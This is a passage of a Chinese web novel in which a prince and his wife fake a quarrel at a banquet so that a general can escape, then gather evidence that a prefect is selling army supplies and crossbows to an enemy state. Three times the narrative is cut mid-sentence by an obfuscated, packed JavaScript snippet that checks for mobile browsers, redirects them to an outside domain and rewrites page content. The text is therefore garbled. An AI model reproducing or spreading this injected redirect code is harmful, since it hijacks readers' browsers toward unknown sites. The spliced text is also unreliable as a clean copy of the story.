谢怀雵笑了笑:“我跟他虽然交情不深,但到底一起共事过,基本的默契还是有的。方才你们那边开局赌斗,黄桓等人被吸引了注意,我趁机扣了下杯盖,关正青就明白了我的暗示。” 之后两人同时抬手去拿摆在中间小几上的茶盏,借着这一个动作,谢怀雵就把写了信息的纸条塞进了关正青的手里。 “我在纸条上约他明日上午见面,到时候夫人要不要一起过去?” 姜同云犹豫了一下,最终还是对关正青调查结果的好奇心占据了上风:“去!” ***** 次日上午,谢怀雵带着姜同云一起出了门,往婺州最出名的银楼买首饰去了。 见来了两位身份尊贵的大客户,银楼掌柜连忙把他们二人请到了二楼的雅间里:“殿下和王妃今日想看些什么?” 谢怀雵从店铺伙计手中接过茶壶,先给姜同云倒了杯水:“发簪耳坠、金钏玉镯、戒指玉佩,只要是姑娘家能戴的就都拿来看看。太老气的款式就算了,王妃不喜欢。” 掌柜的连连应声:“好,好。我们店里还有专门的图册,是否一并拿来给王妃瞧瞧?” 谢怀雵点了点头:“就一起拿上来吧。” “是,是。请殿下、王妃稍候。” 掌柜的带着伙计一退出去,谢怀雵就起身走到窗边,推开了对着店铺后街的窗子。 探头向下一看,关正青果然已经等在楼下了。 见关正青抬头看向自己,谢怀雵拿着刚刚顺手从姜同云胳膊上取下的披帛,从窗口抛了出去。 短短几息之后,关正青就顺着那段薄薄的丝质披帛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“他怎么不敢了?你以为黄桓是什么柔善之辈吗?婺州上任司马周彦就死在婺州城外的山道上。黄桓上报朝廷,说他是出城礼佛的时候遭遇山匪,一家老小二十余口人全数被杀,无一幸免。这事发生在三年前,你当时已经到了越州,不会没有印象吧。” 关正青自然还记得这件事。当时他还担心过,万一陛下下旨命他去剿匪该怎么办。不过后来好像是黄桓调动婺州守军,清剿了那群流窜的山匪。 当时的关正青没多想过此事,但今天听谢怀雵这么一提,他也琢磨出了不对味的地方来。 “谁家礼佛,会把家中所有的仆从都带出去,一个不剩呢?”谢怀雵的语气轻飘飘的,落在关正青耳中却一下比一下重,“而且敢于截杀朝廷命官的山匪,怎么没见他们犯下别的血案呢?” 关正青脸上已经露出了犹豫之色。 熟知他性情的谢怀雵趁热打铁:“越州驻军统领死在他黄桓的管辖范围内,自然是他为官有失。可这种过错,最多也不过就是被贬一贬官。和他自己的身家性命相比,你关将军的命可真算不上什么。” 本就有些怕死地关正青被他这么一说,心里的那股气彻底被打散。 “那你说,我应该怎么办?难道放着黄桓继续为非作歹?” “先走。你是越州驻军统领,有权向陛下递交密折。回去后写个折子,把你查到的内容悄悄报给陛下知道。后续的事情,自然有陛下安排。” “陛下会信我吗?”关正青还有些犹豫。 “那就要看你查到的是什么了。触及军队的事情,陛下是绝不会姑息的。” 关正青点了点头:“也对。只是……黄桓现在好像已经有所察觉了,恐怕他不会轻易放我离开。” 谢怀雵想了想:“那我们就得想个法子,让你出人意料又合情合理快速离开。” 60. 跑路 关正青迅速地和谢怀雵商量完,赶在银楼掌柜回来前翻窗离开了。 看着他身手敏捷地跳窗下去,姜同云想起刚才关正青也只靠着一条薄软的披帛就能快速爬上二楼,不由感叹道:“关将军的身手可真不错啊。” 谢怀雵一改方才的游刃有余,颇为不屑地冷哼一声:“翻窗爬墙这种雕虫小技,算得上什么好身手。” 姜同云刚要笑话他两句,关着的门就被人敲响了。掌柜的声音从门外传来:“殿下、王妃,店里的首饰都拿来了。” 两人对了个眼色,谢怀雵迅速关好门窗,姜同云则把披帛重新披好。确认没有遗漏后,谢怀雵才开口道:“进来吧。” 房门被推开,掌柜领着一群店里的伙计,捧着数盘各色首饰进来了。 姜同云原本以为谢怀雵今天来银楼只是为了方便跟关正青见面。谁知道首饰端上来后,他还真就认认真真地挑了起来,最后还无视姜同云的婉拒,选出来好几样,一并付了钱。 当着银楼掌柜和伙计们的面,姜同云没有多说什么。等回了齐王府,她立刻就把谢怀雵拉进了屋子: “你买这些做什么呀?” 谢怀雵被姜同云这么一问,立刻露出了委屈的表情:“夫人不喜欢吗?可是这些你戴起来都很好看啊,不是吗?” 姜同云也确实挺喜欢他选的这些东西的。但这家银楼首饰的价格是真不便宜,一次性花了这么大一笔钱,她是真的觉得肉疼。 见她没有立刻反驳,谢怀雵又道:“我带着夫人去了一趟银楼,看了那么多却什么东西都没买,传出去会被人家笑话的。搞不好还会让黄桓起疑。” “那买个一件两件的就也够了。”姜同云耐心劝说道,“府里还在改建,到处都是用钱的地方。我的首饰那么多,真没必要再买了。” “我们离开金陵前,陛下特意给了我一笔钱,就是给我们改建王府用的。况且正院里改建的部分看着虽多,但大部分材料都是拆了后头那些空屋子后挪过来的,真没你想的那么费钱。” 谢怀雵据理力争:“更何况,咱们府上马上就要办场宴会。夫人到时候要招待客人,可不得有些新的首饰戴嘛。” 是的,齐王府马上就要举办一场宴会了。谢怀雵就打算借着这场宴会,给关正青找个合情合理的跑路理由。 “行行行,反正花的也是你的钱。”姜同云懒得再跟他争这些,“既然要举办宴会,那现在就好准备起来了。跟以前一样,宴席的事情我来看,请客的帖子就交给你了。” “遵命!” ***** 五月初十,端午过后的第五天,回到婺州一个多月的齐王终于在自己府里办了第一场宴会,邀请了婺州大大小小总计二十多名官员赴宴。 宴会时间定在中午,宴席就摆在王府西面的园子的两处水榭上。男女宾客一东一西分席而坐,隔着池水遥遥相望。既能互相看见,又不至于打扰到对面。 女宾席分了五桌,姜同云坐在主桌最上首的位置,只需稍稍抬头,就能对席上发生的情况一览无余。 女宾这里的氛围和谐融洽。各府的夫人们都保持着热情的状态和足够的分寸感来面对姜同云,姜同云也向她们报以恰到好处的笑容和周到的照料。 在双方都有意维持的情况下,女宾席始终保持着一派其乐融融的景象。 酒过三巡,姜同云正打算让人把已经吃过的食物撤走,换上最后一组菜品和酒水,水榭外的侍女突然匆忙走到她身边,凑在她耳旁快速说了些什么。 跟姜同云同坐一桌的夫人们见她脸上笑意消失不见,便知肯定是哪里出问题了。 果不其然,这位过分年轻的齐王妃很快就站了起来。她随意找了个借口,又吩咐过侍女照看宴席,之后快速离开了这处水榭。 夫人们面面相觑。 刺史夫人正在犹疑,却被身边的人拉了一把:“快看对面,好像出事了!” 对面男宾所在的水榭里,已经不见觥筹交错之景。 席上的宾客全都屏息凝气,小心地看向主桌正在争吵的二人。 关正青的眉毛已经竖了起来:“殿下今日请过我过来,就是有意刁难于我的吗?!” 谢怀雵冷笑一声:“本王好心请你赴宴,你不领情也就算了,现在还敢诬陷于我?” 关正青气得一拍桌子:“你不要咄咄逼人!” “这可是本王的齐王府,不是你的越州军营!”谢怀雵寸步不让,“关正青,你不过区区三品,怎么敢在这里对着本王呼喝!” 眼见两人的火气越吵,同桌的黄桓已经急得在心里骂娘了。 虽然他早就听说过这两人不合的传闻,但上次龙舟会的时候他俩都还能端着。怎么今日就当着这么多人的面吵起来了呢! 他还指望能借这次宴会,拉进一下跟这两位的关系呢。 谢怀雵这位齐王自然不必多说。虽然他现在到了婺州,但陛下对他的恩宠犹在。要是能攀上他的关系,何愁将来仕途不畅。 至于关正青,那就更有必要了。 关正青最近好像是拿住了婺州守军内部的一些问题。考虑到对方至少还会在越州当好几年的统领,现在跟他打好关系就是非常有必要的。最好是能直接把他也拉到自己的船上来。 面对着分别关系到自己前途和钱途的两人,黄桓急得都快亲自上手去拉了:“殿下,关将军!凡事好商量,没必要闹得这么难看啊!” 可惜,黄桓有意做这个和事佬,正在吵架的两人却谁也不肯给他这个面子。 不过这和事佬本来也就不是那么好做的。这谢怀雵和关正青,一个是大越亲王,另一个的职级也比黄桓高了半阶。黄桓的身份压不过他俩,说起话来自然也就没有那么好使。 但就这样放任他俩吵下去,那也不是什么好事。 黄桓犹豫再三,还是决定先去拉住地位更低一些的关正青:“关将军,咱们有话好好说。” 眼见黄桓就要拉住自己,关正青猛地一挥胳膊,怒极而笑:“殿下今日这般待客,关某真是大开眼界!既然这齐王府这么不欢迎我,那我也就不多奉陪了!” 说着,他直接站起身来,挥开周围想要劝说的人,大步朝外走去。 “关将军!关将军!”黄桓急得想要去追。 “他要走就让他走好了!”谢怀雵气得直接摔了杯子。 黄桓一时进退不得:“殿下,关将军只是一时情急!下官去劝一劝他,让他回来给您赔罪!” 说着,黄桓就准备离开坐席。 可他才从座位出来,就听一阵珠帘响动,随后一道年轻的女声响起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14876496|153744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“殿下,这是发生什么事了?” 黄桓转头去看,竟是齐王妃来了。 这下他又不好马上离开了。 姗姗来迟的姜同云扫了一眼水榭内的情况,又看了看犹自生气不肯作答的谢怀雵,只能无奈地转向黄桓:“黄刺史,方才发生什么了?关将军人呢?” 黄桓心里暗骂她来得太晚误了事情,面上却保持着挑不出毛病的恭敬之色:“方才殿下和关将军……起了一些争执。关将军就、就先告辞了。” 姜同云闻言点了点头,缓步走到谢怀雵身边,替他顺了顺气:“殿下,太医叮嘱过,您不能动气的。” 谢怀雵愤愤道:“是本王小气吗?分明是那个关正青不识好歹!” 姜同云凑到他身边,又小声劝抚了一阵。 她花了好一番功夫才让谢怀雵冷静下来。期间赴宴的官员们只能老实坐在自己座位上,眼观鼻鼻观心,装作什么也没有发生过的样子。 等谢怀雵终于恢复平静后,这位齐王妃才站直了身子:“今日招待不周,实在是抱歉。” 黄桓连忙带头道:“王妃言重了。” “殿下有些不适,今日这宴会就到此为止吧。”姜同云面露无奈之色,“等改日殿下身体好些了,会再重新邀请诸位的。” 齐王妃都这么说了,其他人自然不好再说什么。以黄桓为首的官员们又陪着说了一番让齐王保重身体的客气话,就依次告辞离席了。 黄桓一出齐王府,就快速上了自家马车:“我们先走,等会儿让夫人自己回家去。” “老爷,咱这是要去哪儿?” “去官驿!” 刚才那会儿,黄桓快速在心里盘了一遍。 这是一个好机会。 如今关正青应该正在气头上。自己过去劝慰一番,再帮着他一起骂一骂齐王嚣张跋扈,很快就能跟他拉进关系了。 至于齐王那边,虽然被他知道自己去找过关正青后,他一定会生气疏远自己,但他人就在婺州跑不掉,将来多的是弥补关系的机会。 况且升官的事情不是一朝一夕就能办成,但关正青现在可是扎扎实实地关系到了自己的钱袋。当务之急还是要先稳住关正青,不要影响到自己赚钱才是最要紧的。 想到这里,黄桓撩开车帘,对着车夫催促道:“再走快些!” 在黄桓的连番催促下,他所乘坐的马车很快就到了关正青暂住的官驿门口。 黄桓下了马车,整了整衣襟,就朝驿站内走去。 见是他来,负责管理驿站的吏员立刻迎了上来:“刺史大人。” 黄桓摆了摆手:“我来拜访关将军,你帮我通传一下。” 吏员一怔:“关将军?” “有什么问题吗?”黄桓面露不约之色。 “不是不是。只是……关将军已经带着人走了。” “走了?!什么时候的事情?!” “就、就刚刚。”吏员被黄桓突然放大的声音吓了一跳,结结巴巴地回答道,“大约小半个时辰前,关将军怒气冲冲地策马跑了回来,一进门就让他的卫兵们收拾东西。然后、然后他们就全都骑马走了。” 听到这话,黄桓气得狠狠朝门框踹了一脚。 都怪那个拎不清事的齐王还有他那个只会拖后腿的王妃! 61. 证据 “黄桓好像没有起疑,看来你们上次演得挺真的。”姜同云边翻看从杭州送过来的账本,边跟身旁的谢怀雵谈起先前那件事来,“可惜我来得晚了点,没赶上你俩吵得最激烈的那会儿。” 谢怀雵也在看齐王府的账册。听到姜同云这么说,他笑着回道,“但是夫人进门的时机选得巧妙。要不是你进来,只怕关正青走得不会那么顺利。” 姜同云颇有些自得地笑了:“我在外面观察了有一会儿了。看黄桓要去追人,马上就进去拦他。” “真是好险。”谢怀雵点了点头,“要不是夫人及时出现拦了那一阵,说不准黄桓会撞上准备离开的关正青呢。” 那天黄桓赶到官驿的时候,关正青和他的人马才走了没一会儿。要是他当时是骑马赶过去的,搞不好真能把人给截住。 那事情可就不太妙了。 “我看黄桓的反应,他应该还不知道关正青现在查到了什么程度。”谢怀雵翻了一页账册,“所以他才会一直想要拉拢关正青。” 说到这个,姜同云也不由有些好奇:“你说,黄桓到底犯了什么事啊?” 关正青上回只说了是杀头的罪,但即使都是杀头的罪名,也有轻重之分。看上次关正青的反应,姜同云觉得这里面的事情一定没有那么简单。 谢怀雵摇了摇头:“我是有些猜测,但具体的情况也不太清楚。” 自从姜同云提起要回封地的事情后,谢怀雵就开始派人回婺州探查情况了。 黄桓此人在婺州百姓之间的风评并不太好,有关于其贪赃枉法的说法一直都在婺州境内流传。在加上上任司马周彦的事情,谢怀雵对黄桓是保持了相当高的警惕心的。 作为一州刺史,黄桓有权过问婺州守军的一应事务。报给谢怀雵的消息里还有关于黄桓贪污守军粮款的传言。 但涉及到一州守军,谢怀雵的人不好深入探查,所以具体内情,可能还是要等关正青回信给他后才能知晓。 说话间,候在外头的侍女通报,说有外头有个从杭州过来的人,带了一封老爷子的家书给王妃。 夫妻俩对视一眼。 姜同云道:“把信拿进来吧。送信的人就先留他在门房等一等。” 侍女应了一声。没多久后她就拿着一封书信和一只绸缎包裹进来了:“这些都是要给王妃的。” 姜同云接过东西放在桌案上:“你先退下吧。” 待侍女走后,姜同云拆开了书信。 一看见信纸最右边的两个小标记,姜同云就把东西塞给了谢怀雵,悄声道:“是关将军寄来的、” 那日在银楼里,谢怀雵和关正青还约定好了回去后的联系方式。 为了避免引起旁人注意,谢怀雵让关正青以许老爷子的名义,派人绕路至杭州出发送信到王府。信纸上的标记就是用于表明寄信人身份的记号。 谢怀雵接过写得密密麻麻地两页纸,快速翻看起来。 见他开始读信,姜同云不免有些好奇:“我刚才瞄了一眼,信上写的都是些家常话。莫非你们是用了什么密语在交流?” 谢怀雵笑着颔首道:“对。” 他伸手指向信上两个小记号:“你看这。两个记号,第一个对应的字代表这封信所用的解密书,第二个则代表了他用的是第几套加密方式。” “他这回用的是邢国公琢磨出来的一套密语。” “原来如此。”姜同云点了点头,“既然要用到制定的解密书,你这样看能看懂吗?” “邢国公用的那几套书,我都已经烂熟于心。而且关正青这次要传递的消息非常简短,不用那么费功夫。”说话间,谢怀雵已经看完了手上两张信纸,“他说他已经抄录了一份目前已经掌握到的证据,附在包裹里面一起寄了过来。” 姜同云立刻把包裹拿了过来。 解开结扣,包裹里装着的是居然是一只长方的妆奁。 姜同云打开妆奁盖子,里面就只摆了一对祥云纹的金镯子。 她看向谢怀雵:“有夹层?” 谢怀雵点了点头。 姜同云有些跃跃欲试:“那你先别出声,让我找找看!” 说着,她将两枚镯子取出放在一旁,开始研究起这只妆奁来。 凭借着前世看各种小说电视剧的经验,在发现妆奁底部有些松动后,姜同云费了一番功夫拆掉了四只底脚,成功打开了位于妆奁底板上的小夹层。 “看!”她拿着从夹层里取出的纸张,兴奋地向谢怀雵展示。 谢怀雵看着她骄傲的小表情,忍不住凑上前去在她脸颊上轻轻吻了一下:“夫人真棒!” 姜同云把叠成好几折的纸张拍在了他的脸上:“别贫了。快快上面写的什么?” 谢怀雵展开纸张,快速阅读起来。 只看了两眼,他的眉头就皱了起来。越往下看,谢怀雵的表情就越是严肃,看到最后甚至隐隐有了几分怒气。 见他这副模样,姜同云不由有些担心:“怎么了?” 谢怀雵把东西递给她:“你自己看吧。” 姜同云接过纸张,才看了两行,心里就是一咯噔。 这上面抄录的不是别的,正是黄桓这些年在婺州倒卖军需的账本! 这可真是会让他人头落地的罪名。 姜同云定了定心神,继续往下看去。 账册里记的还都只是粮草衣物,到了最后两排写的是关正青留的话,上面说他还查到了一些有关黄桓提前报废军甲和弓弩,并将这些本该集中销毁的物品转卖给了北边的线索! 姜同云可算是知道,谢怀雵的脸色为什么这么难看了。 北边占了兵强马壮的优势,这些年来越朝能持续与他们相抗而不落下风,主要靠了三点。 一是富裕的国库,二是以邢国公为首的一批将领,三就是远超晋朝的弓弩制造技术。 黄桓转卖军甲和□□,简直与卖国无异! “虽说朝廷配备给地方守军的弓弩并不是最新最好的,但也比晋朝用的好上不少。这要是被他们大量仿制……”谢怀雵的脸色沉得都快能滴水了。 “这个黄桓的胆子居然这么大!”姜同云也觉得心惊肉跳,“怪不得当时关将军还想留下来继续探查。” “这事拖不得了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14888409|153744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”谢怀雵抓起桌案上的纸笔,“我这就给关正青写回信,让他按照计划给陛下递交密折!” 姜同云还是感到担忧:“倒卖军甲弓弩这两样,目前尚未有实证。直接呈报陛下的话,陛下会怎么处理?” 谢怀雵握着笔的手顿了顿:“……按照陛下的性格,可能会用目前掌握的证据尽快处理掉黄桓。” 毕竟光是贪污粮款和倒卖军需这两项,也就够让黄桓人头落地好几回了。 “处理掉了黄桓后呢?” 谢怀雵已经明白了姜同云的意思:“黄桓在婺州这么多年,一直没被检举,一定还有很多同伙。只处理掉他,不把其余的人一并连根拔起,往后肯定还会有同样的事情发生。” 姜同云点了点头:“还有关将军提到的那支商队,我觉得很有可能是北边的人。” 关正青打探到,这些年来黄桓能顺利地把东西送去晋朝,主要靠的是一支隐秘商队。 听她这么说,谢怀雵也表示赞同:“这个可能性很大。光处理掉黄桓确实不够,最好是能把这支商队也一网打尽。” 但这就需要好好琢磨一下了。 谢怀雵放下手中的笔:“我倒是可以请邢国公旁敲侧击,提醒陛下重视此事。只是……” 他斟酌了一会才继续说道:“只是这么做的话,陛下很有可能会把继续调查的事情交给我来办。” 毕竟他现在人就在婺州,是最方便进行暗中调查的人选。 姜同云对他的犹豫感到困惑:“那就办呗。事情掌握在自己手里,我们也能更放心些,不是吗?” 谢怀雵握着了她的手:“若是几年前,我还是孤身一人,一定不会有任何的迟疑。可现在……你和我在一起。这当中多有危机,我怕敌人一旦察觉到我的动作,就会对你下手——” 姜同云坚定地回握住了他的手:“有你在,我不怕。” “况且我们现在在齐王府里,有这么多卫兵把守保护。黄桓敢杀官员,无非是仗着自己手里有人可用。可他难道还敢指挥婺州守军围攻王府吗?” 谢怀雵还是有些犹疑:“就算他不敢来硬的,那像下毒暗杀这种手段,也是防不胜防啊。” 姜同云想了想:“既然这样,那咱们就速战速决,不要给黄桓发现反扑的机会。” “如何速战速决?”谢怀雵无奈而笑,“关正青名正言顺地在婺州查了一个多月,也没能拿到相关实证。我要是接了陛下密旨暗中探查,只会比关正青更加费劲。” 婺州说是谢怀雵的封地,那也只不过是名义上的,实际的管辖权还是朝廷所有。他作为亲王,是不能直接插手婺州守军内部的事情的。 “那就不费那个功夫去去找什么实证。”这话一出口,姜同云的思路立刻清晰起来,“咱们只要抓了黄桓一个现行,还怕不能给他定罪吗?” 谢怀雵顿了顿:“这倒还真是一个办法。可按关正青所查,黄桓拢共只卖了两回军甲弓弩。等抓现行那得等到什么时候去啊。” 姜同云笑了:“那我们就先给他打个窝嘛。” 钓鱼(执法)的事,那还真是专业对口了! 62. 密旨 安静肃穆的紫宸殿中。 常年不熄的香炉上盘踞着袅袅青烟,持续不断地将悠远沉静的龙涎香味送入这处居住了越朝最为尊贵之人的宫室中。 灯火通明的书案旁,正值天命之年的皇帝陛下此刻正捏着手中奏折,眉头紧锁。 打从去年开始,朝政诸事就多有不顺。后宫里,皇后打上次病后身体就一直不太好,这些天来又陆续小病了两回。种种事情叠加在一起,让向来精力充沛的陛下都觉得自己近来有些力不从心了。 明明自己的每一步都安排地很好,可最后的结果怎么就一直不如人意呢? 自己千挑万选才选出来一个钟砀与梁国公相抗,谁知道这个钟砀这么不争气。先是当着这么多朝臣的面折了太子的面子,后来又干脆一蹶不振,再也不敢同梁国公相争。 这般行事,毫无分寸和胆气,跟他父亲淮阳侯钟冀真是一点也不相似。 但子不类父这事,又何止是出在淮阳侯府一家? 想到自家那个也不像自己的太子,陛下又沉沉地叹了口气。 天知道,钟砀那件事情发生以后,陛下心里有多么希望太子可以直接表达出对钟砀甚至是钟家的不满。即便没有当场要求惩罚钟砀,事后也该摆一摆太子的谱,借机好好敲打一番这种没规矩的臣子。 可太子居然完完全全地咽下了这口气。 说实话,看到太子的表现后,陛下心里多少是有些失望的。 为了进一步刺激太子,他不仅没有惩罚钟砀,反而还恩赏了淮阳侯,后来又把赵王派去禁军。 但这些行为完全没能激起太子的反抗。 面对着日渐恭谨沉默的太子,还有近来愈发瘦削憔悴的发妻,陛下心里只觉得五味杂陈,有时候甚至都不知该如何面对他们。 他甚至开始怀疑,自己捧赵王跟太子相争这步棋,是不是真的走错了。 可惜,还没等他在这件事上整理出什么头绪来,邢国公从边境递交的一封密折,又让他陷入了更大的苦恼中去。 密折上写,邢国公探查到,近来晋朝秘密装备上了一小批新式的弓弩。看外形构造,与越朝前几年替换下的一批旧弓弩非常相似。邢国公怀疑是晋朝通过一些方法弄到了旧弓□□,建议陛下暗中排查一番,看看是不是哪个流程出了纰漏。 陛下还没来得及找人来办这事,驻守越州的关正青又递来了一份密折。 说实话,刚拿到这封密折的时候,陛下是有些烦心的。 越州不与晋朝相交,境内又一向太平,关正青能有什么事还要写密折回报的?还写了这么厚的一本。 可真等他看完了这本奏折,陛下心里已然掀起了滔天怒火。 好!好啊!区区一个婺州刺史,居然也敢贪污粮饷、以次充好、倒卖军需了! 陛下气得当场就要叫人去拿了黄桓,带回金陵来受审。 可抬起的手还没落下,他就想起了前天邢国公的那封密折来。 虽然关正青的折子里只写了黄桓倒卖粮米棉衣这类寻常物资,但结合邢国公的折子来看,事情可能远远不止关正青查到的那么简单! 陛下想起来,给前线装备上新式弓弩后,一批还未使用的老式弓弩就被拨付给了各地州府的守军使用。当时的婺州应该也拿到了定额的几十架弓弩。 兵部和工部这些年一直都由陛下知根知底的人执掌,出漏子的可能性不大。那搞不好问题就出在黄桓的身上! 他既然敢倒卖军需,未必不敢把弓弩卖给晋朝! 刚想到这个可能时,陛下被气得眼前发黑,恨不得马上把黄桓拿了直接处死。 可稍稍冷静下来后,他又觉得这般处置不妥。 北边能买通一个黄桓,未必不能再买通其他州的刺史。光处理掉黄桓不过是治标不治本,最好是能顺藤摸瓜,就着黄桓这条线,把后面一干人等连根拔起! 正好关正青行事谨慎,汇报此事写的是密折。目前消息还没走漏,找人秘密探查还有机会。 陛下在心中快速过了一遍合适的人选,最后把目光投向了同在婺州的谢怀雵。 谢怀雵是齐王,身份能压黄桓一头,行事会方便许多。而且他熟知军务,人也就在婺州,完全可以做到在不惊动对方的前提下进行秘密探查。 更重要的是,谢怀雵聪明过人、行事稳重,为人也十分谨慎。先前交给他办的事也都处理得当,从来没有叫自己失望过。 想到这里,陛下快速拿过一张信笺,开始给远在婺州的谢怀雵写密旨。 ***** 收到陛下的密旨后,谢怀雵的心才定了下来。 “目前都是按着咱们的计划在走。”谢怀雵将密旨拿给姜同云看,“陛下已经指派我来调查黄桓。” 姜同云接过密旨看了看。 陛下在信中写得没有那么详细,只说他接到了密报,婺州刺史黄桓有倒卖军需和往北边卖□□嫌疑。倒卖军需的罪名已有实证,但卖□□事还需查证,因谢怀雵人在婺州,所以委派他进行暗中调查。 为了方便谢怀雵调查,陛下还把关正青整理后递交给他的证据也一并寄给了谢怀雵,供他参考所用。 姜同云看密旨的这会儿功夫,谢怀雵已经开始翻看关正青递交上去的证据链了。 “原来如此。”这也是谢怀雵第一次这么具体地了解关正青的查案过程,“关正青先是在检查的时候发现库房中囤积的粮米皆是陈米,又发现守军每日的伙食花费与朝廷所定标准不符,所以才起了疑心,往下探查。” 黄桓以为关正青出身显贵,对粮价物价知之甚少,所以才敢让他去查库房和伙食。谁知道关正青跟着邢国公在边境这么些年,虽然正面对敌的时候不太行,但在如何当好将领这方面是学得非常不错的。 再加上关正青本人也不是那种好逸恶劳不知疾苦的性格,自己带着越州驻军的时候也经常过问军中伙食情况,对附近几州的物价是有一定了解的。 这一看 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广撒网之下,他打听到黄桓夫人的娘家亲戚开着一家铺子,售卖一些精巧物品。那家铺子跟一支走南闯北的商队有联系,偶尔还能从他们那里拿到蜀地甚至是北边才有的稀罕物件。 关正青立刻就把目标放在了那支商队身上。 不过查到这里的时候,黄桓已经因为他先前翻看军备记档的行为,而对关正青起了提防之心。 再加上那支商队非常神秘,据说几年间只来过婺州两回,想要再查下去线索几近于无。 后面关正青跟谢怀雵见面时,听了那位周司马的事情,他更是被吓了一跳,当即放弃继续调查,直接带着人跑回了越州。 当然,在给陛下的密报上没有后面这一部分。这些内容是后来商定好计划后,关正青再次以许老爷子的名义送东西,在寄来的信件内说明的。 不过夹带的内容有限,关正青寄给谢怀雵的信件自然是不如递交给陛下的密折那般详实。 看完了陛下密旨内附带的东西,再加上关正青先前寄来的密信,谢怀雵已经把思路整理地差不多了。 “我先前预料的没错。”谢怀雵微微叹了口气,“真要从商队查,不知道要等到猴年马月去。可要是从黄桓查起,那又很容易打草惊蛇。” “看来真的要考虑夫人的提议了。” 姜同云也看完了关正青提交给陛下的案情奏报:“与其苦苦等待,不如主动出击。至少要把主动权把握在咱们手上。” 谢怀雵点了点头:“夫人说的是。按照夫人的计划来,即使不能马上抓住对方,至少也能逼迫黄桓跟对方联系。只要黄桓一动,总是会露出破绽的。” 姜同云倒是一点儿也不担心黄桓不行动。 她身上那么大一个系统,叠加了那么多的光环呢。再加上先前计划好的打窝各种举措,除非黄桓也有什么特殊系统,否则他根本就逃不过咬钩的诱惑。 姜同云从书案上拿起纸笔,放到谢怀雵面前:“那么,现在就要看你能不能舌灿莲花,说动陛下同意帮着我们推动计划了!” 63. 暗示 五月下旬,越州驻军统领、云麾将军关正青上奏控告婺州守军内存在以次充好、克扣守军粮饷的问题。奏折内附有婺州当地粮价物价,还有近一个月的军营伙食情况记录,证据充分,无可辩驳。 关正青在奏折内将矛头直指婺州刺史黄桓,称其就算没有从中贪墨,也至少应负玩忽职守的罪责。 朝上因为关正青的这封奏折爆发了一次小规模的议论,最后由陛下拍板,决定从兵部派出一名官员为巡查御史,领队前往婺州调查此事。 消息传到婺州后,黄桓在头疼之余竟然也松了口气。 关正青对婺州守军内部事务起疑这件事,他早就有所察觉。 只不过关正青为人谨慎,住在官驿的时候身边一直都有大量从越州带来的士兵护卫,外出时也都带着数名卫兵同行。 加上他跟谢怀雵一样,平时深居简出,如非必要很少参加黄桓等人举办的宴会,所以黄桓一直没有机会打探他究竟查到了什么程度。 因担心关正青查得太多,他还一度给对方送礼,试图把关正青也拉下水跟着自己一起做生意。无奈还没来得及多试探几回,关正青就因为在齐王府的宴席上受辱,愤而返回越州。 彻底失去对关正青的控制后,黄桓一度焦虑地睡不着觉。 现在这个雷终于炸了开来,不过居然只炸了一个闷响。 克扣粮饷和贪墨渎职这两样罪名虽然也不小,但跟他暗地里真正在做的那些事相比,确实也算不上什么。 而且针对关正青指控他的这两项罪名,黄桓也不是没有辩解挽回的余地。 他在递交给朝廷的请罪折子里矢口否认自己贪墨之事,只说是受了小人蒙蔽,有失察之罪。 接下去只要等朝廷派来的御史到达婺州,把自己提前准备好的替罪羊交出去,再跟陛下认个罪求个情,这件事差不多也就能糊弄过去了。 虽然损失是避免不了的,前途受损也是板上钉钉。但至少更严重的罪行不会被揭露,黄桓的损失不至于无法承受。 黄桓在有限的时间里快速扫干净其他事情的首尾,又安排好了顶罪的人选,终于稍稍松了口气。 就在这时,他接到了齐王府送出来的邀请函。 刚拿到这封只派给他一个人的邀请函时,黄桓心里咯噔了一下。 对这个突然返回婺州的齐王,他一直都是有些警惕地。这不仅是因为谢怀雵在金陵时一直受到陛下重用,更因为谢怀雵来了婺州这么久,黄桓都没能摸清楚对方的性情和行事风格。 要说这位齐王行事谨慎吧,可他能在自家宴席上直接跟关正青争吵起来,事后甚至连基本的体面都不要了,直接就宣布散宴。 可要说他张狂妄悖吧,他来了这么久,一直都跟婺州官员保持距离,从不肯多有来往。就连他的那个王妃,面对自家夫人几次三番的示好,也都各种装聋作哑,大有一副小心避嫌的姿态。 面对这样的一个人,黄桓心里如何不警惕? 不过齐王毕竟是齐王,对方既然下了帖子,在双方没有彻底撕破脸前,黄桓总归还是要捧着他的。 所以即使心中忐忑,黄桓也依旧准时赴约了。 齐王府的待客厅内。 侍女给两人上完茶后就全都退了下去。屋子里之余谢怀雵和黄桓两人,一时静得有些过了头。 见谢怀雵不慌不忙地喝了一口茶水,黄桓也跟着端起茶盏抿了一口,以此来平复自己紧绷的情绪。 谢怀雵饮了一口后没有马上放下茶盏,而是将杯子捧在手上,另一只手捏着杯盖,轻轻在茶碗边缘打圈:“前两天,关正青控告黄刺史的事情,我已有所耳闻。” 黄桓差点被刚刚咽下去的茶水呛到。 这个齐王到底是怎么回事啊?哪里有人连寒暄客套的话都不说,上来就直接讲这种事情的? 黄桓压下喉中痒意,连忙将杯盏放到一旁:“此事全因下官一时失察,所以才让小人钻了空子。” 